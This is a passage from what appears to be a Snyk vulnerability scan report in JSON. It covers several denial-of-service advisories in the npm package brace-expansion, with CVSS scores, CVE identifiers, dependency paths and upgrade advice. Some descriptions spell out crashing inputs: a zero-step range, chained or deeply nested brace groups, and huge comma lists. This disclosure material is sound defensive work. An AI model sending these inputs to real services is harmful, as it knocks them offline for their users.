"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
